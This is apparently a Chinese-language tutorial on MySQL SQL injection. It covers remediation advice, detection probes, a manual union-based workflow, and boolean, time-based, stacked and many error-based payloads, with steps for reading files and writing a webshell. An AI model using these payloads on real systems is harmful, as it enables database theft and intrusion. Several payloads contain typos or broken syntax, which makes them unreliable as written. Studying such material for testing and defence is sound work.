测试方法

在发现有可控参数的地方使用sqlmap进行SQL注入的检查或者利用,也可以使用其他的SQL注入工具,简单点可以使用手工测试。推荐使用burpsuite的sqlmap插件

修复建议

采用 sql 语句预编译和绑定变量,是防御sql的最佳方法

  • 所有查询语句都使用是数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户变量嵌入sql语句中。
  • 对进入数据库的特殊字符进行转义过滤,或者编码处理
  • 确认每种数字的类型,比如数字型的数据必须是数字,数据库中的存储字段必须是int型
  • 数据长度应该严格规定,能在一定程度上防止比较长的sql注入无法正确允许
  • 网站每个数据层的编码统一,建议全部使用UTF-8,上下层编码不一致有可能导致一些过滤模型被绕过
  • 严格限制网站用户的数据库权限,给用户提供仅仅满足其工作的权限,从而最大限度减少注入攻击
  • 避免网站显示数据库错误信息,比如类型错误、字段不匹配等

mysql相关知识

mysql是一种服务型数据库,进行统一管理

在mysql5版本之后,mysql默认在数据库中存放一个叫information_schema的库,这个库有很多表,重点是columns、tables、schemata表记录着库的信息

web SQL 注入漏洞原理

SQL注入产生原理

动态交互网站,实现交互利用用户输入拼接到SQL执行,输入不同导致返回结果不同。用户输入内容没有经过完美处理,而且构造SQL语句,直接将构造的SQL语句带入SQL语句中执行,导致SQL注入漏洞

条件:

参数用户可控:从前端传到后端的参数内容是用户可以控制的
参数带入数据库查询:传入的参数拼接到SQL语句,且传入数据库查询。

1
SQL语句拼接:select * from admin where username = '用户提交' and password = '用户提交';

使用万能密码(1’ or ‘1’=’1)

1
select * from admin where username = '用户提交' and password = '1' or '1'='1';

此时便可看出存在漏洞。

漏洞存在判断

根本原因

可控变量+特定函数
测试url::

1
2
3
http://192.168.110.1
http://192.168.110.1/?id=123
http:///192.168.110.1/?id=1&page=1

回显是指页面有数据 信息返回

无回显是指根据输入的语句 页面没有任何变化或没有数据库中的内容显示到网页中

常见判断语句

1
2
3
4
5
id=1 and 1=1
id=1 and 1=2
id=1 or 1=1
id='1' or '1'='1'
id="1" or "1"="1"

sql注释符

# 单行注释,编码:&#35%23

—空格 单行注释 注意为短线短线空格

/**/ 多行注释 至少存在两处注入,编码/**/

web SQL 注入漏洞原理的类型

按攻击方式分为:

  • 可联合查询漏洞(UNION query SQL injection)
  • 可多语句查询注入(Stacked query SQL injection)
  • 布尔注入(Boolean-based blind SQL injection)
  • 报错型注入(Error-based SQL injection)
  • 基于时间延时注入(Time-based blind SQL injection)

接受参数分为:

  • get注入
    • get请求参数放在url里,get请求的url传参有长度限制,中文需要url编码
  • post注入
    • post请求参数是放在请求body中的,长度没有限制
  • cookie参数注入
    • cookie参数放在请求头信息,提交时服务器会从请求头获取

注入类型分为:

int 整型

1
select * from users where id = 1;

string 字符型

1
select * from user where username='admin';

like 搜索型

1
select * from news where title like '%标题%'

注入流程

  1. 是否存在注入并且判断注入类型

    • 判断字段数
      • order by
    • 确定回显点
      • union select 1,2
    • 查询数据库信息
      • @@version
      • @@datadir
    • 查询用户名、数据库名
      • user()、database()
    • 文件读取
      • union select 1,load_file(‘C:\windows\win.ini’)
    • 写入 webshell
      • select … into outfile …
        使用sql注入遇到转义字符串的单引号或者双引号,可以使用HEX编码绕过
  2. 手工注入常规思路

    1. 判断是否存在注入,注入是字符型还是数字型
    2. 猜解SQL查询语句中的字段数
    3. 确定显示字段顺序
    4. 获取当前数据库
      1. group_concat(schema_name) from information_schema.schemata
    5. 获取数据库中的表
      1. group_concat(table_name) from information_schema.tables where table_schema=库名查询表名
    6. 获取表中的字段名
      1. union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名'查询字段名
    7. 查询到账户的数据
      1. ?username=1' union select 1,database(),group_concat(字段1,字段2,字段3) from 库名

UNION联合注入原理

联合查询注入是结合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段要数要相同,不然会报错

通过联合查询获取 information_schema 获取表

在黑盒情况下是不知道当前库有什么表,可以通过mysql自带的information_schem查询当前的表

可以通过 limit 1,1来限定条数,第二条就是 limit 2,1

注入方式

布尔盲注

在页面不会显示数据库信息,一般情况下只会显示对与错的一种类型

布尔盲注需要用到SQL语句select if(1=1,1,0)

[!tip] 解释
if()是判断的意思,第一个参数,如果条件成立,会显示1,否则显示0,1=1可以换成其他sql语句

在黑盒环境下,通过构造SQL注入语句,根据页面的特征确定获取敏感信息。

获取库名

SUBSTRING()字符串截图。第一个参数是字符串,第二个参数是开始截取的位数,第三个截取的是长度

常用语句

1
1' and if(substring(database(),1,0)='v',1,1),1,0)-- 

获取长度

1
1' and if(length(database()=4),1,0)-- 

获取表名

1
1' and if(substring((select TABLE_NAME from information schema TABLES where TABLE_SEHEMA=database()limit 1),1,1)='g',1,0)-- 

获取字段名

1
1' and if(substring((select COLUMN_NAME from information_schema COLUMNS where TABLE='user' limit 1,1),1,1),1,0)-- 

获取数据

1
1' and if(substring((select CONCT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0)-- 

时间注入

又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采取的一种突破注入的技巧

在 mysql 里,函数 sleep() 是延时的意思,通过使用'and sleep(10),数据库延时10s来判断是否存在时间注入

判断方法

1
select if(2>1,sleep(10),0) -- 

判读查询当前库名长度大于1就会延时5s

1
select if(length(database())>1,sleep(5),0) -- 

判读查询当前库长度大于1就不会延时

1
-1' or if(length(database()>1,sleep(5),0)) -- 

堆叠注入

可以执行多条SQL语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点

在mysql中,mysqli_multi_querymysql_multi_query两个函数可以执行一个或多个针对数据库的查询。多个查询用分号进行分隔,但是堆叠查询只能返回第一条查询信息,不返回后面信息

select version();select database()

堆叠注入的危害是很大的,可以任意使用增删查改的语句

漏洞用

使用 id=1' and 1=2--+进行检测,接着使用堆叠注入语法进行检测

比如:id=1' and 1=2;sleep(5)--+

我们可以插入新的账号信息:

1
id=1';instert into user(id,username,password) values(20,chen,123456)

报错注入

xml函数报错

在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:

  • updatexml()
  • extractvalue()
    当这两个函数在执行时,如果出现xml文档路径错误就会产生报错

updatexml函数

是一个使用不同的xml标记匹配和替换xml块的函数。

作用:改变文档中符合条件的节点的值

语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据

updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

extractvalue函数

此函数从目标XML中返回包含所查询值的字符串

语法:extractvalue(XML_document,xpath_string)
第一个参数:string格式,为XML文档对象的名称
第二个参数:xpath_string(xpath格式的字符串)
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

select user,password from users where user_id=1 and (extractvalue(1,0x7e));

由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。

主键冲突报错

floor函数+rand函数+group_by组合

1
SELECT count(*), concat((SELECT password FROM users LIMIT 1), floor(rand(0)*2)) as x FROM information_schema.tables GROUP BY x;

报错原因Duplicate entry '...' for key 'group_key'(主键重复冲突)

  • 核心原理
    1. 当带有 group by 执行时,MySQL 会在内存中建立一个虚拟表,用来对数据进行分组。虚拟表有一个主键(就是 group by 后面的字段)。
    2. rand(0)*2 产生的伪随机数列是固定的:0, 1, 1, 0, 1, 1...
    3. 当扫描原表时,MySQL 遇到 group by x,会先计算 x 的值,去虚拟表里查是否存在。
    4. 关键点:如果虚拟表里不存在该键值,MySQL 会再次计算一次 x 的值,然后将其插入虚拟表。因为 rand() 被计算了两次,导致原本要插入的键值发生了变化,最终导致插入了相同的键值,触发主键冲突报错。报错信息中就会携带我们拼接的 passworduser() 信息。

类型转换报错

convert报错

convert() 或数据类型转换引发的报错,通常是因为 MySQL 在处理不兼容的数据类型或特定内部函数(如 GTID)时,会将非法的数据内容直接回显在错误信息中。

GTID_SUBSET报错 (MySQL >= 5.6)

原理GTID_SUBSET() 函数期望接收两个参数(通常是 GTID 集合)。当我们传入包含子查询的字符串时,MySQL 会尝试将其转换为 GTID 格式,转换失败并报错,同时在报错中回显该字符串。
Payload 示例

1
select * from users where id = 1 and GTID_SUBSET(concat(0x7e,(select user()),0x7e), 1);

报错信息Malformed GTID set specification '~root@localhost~'.

NAME_CONST报错

原理NAME_CONST(name, value) 用于返回给定列名的值。如果传入的 name 是一个由系统函数组成的动态表达式,会引发列名不符合规范的报错。

Payload 示例

1
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

  • 报错信息Duplicate column name '5.7.26'

数学运算溢出报错 (Double/BigInt Overflow)

利用数学计算超出 MySQL 数据类型允许的最大范围,从而引发溢出错误。这类方法在 XML 函数被禁用或过滤时非常有效。

exp() 报错 (MySQL >= 5.5)

  • 原理exp(x) 返回 $e^x$。当 $x$ 超过 709 时,结果会超出 Double 类型的最大范围而报错。结合按位取反 ~,可以快速构造一个极大值。
  • Payload 示例
1
select exp(~(select * from (select user())a));
  • 报错信息DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

    BIGINT 溢出 (加减法)

    原理:利用 MySQL 中 BIGINT 无符号类型的最大值。当最大值加上一个非零值,或者对 0 进行按位取反(得到最大值)时,产生溢出。
    Payload 示例

    1
    select !(select * from (select user())x) - ~0;

    报错信息BIGINT value is out of range in '(!(select 'root@localhost' from dual) - ~(0))'

空间函数报错 (Geometry Functions)

在 MySQL 5.0.32 版本之后,引入了一系列用于处理地理空间数据的函数。如果传入的参数不是合法的几何数据(Geometry),就会报错并回显内容。

  • 常用的空间函数GeometryCollection(), polygon(), multipoint(), linestring(), ST_LatFromGeoHash()
  • Payload 示例 (ST_LatFromGeoHash)

    1
    select * from test where id=1 and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e));
  • 报错信息Incorrect geohash value: '~root@localhost~' for function st_latfromgeohash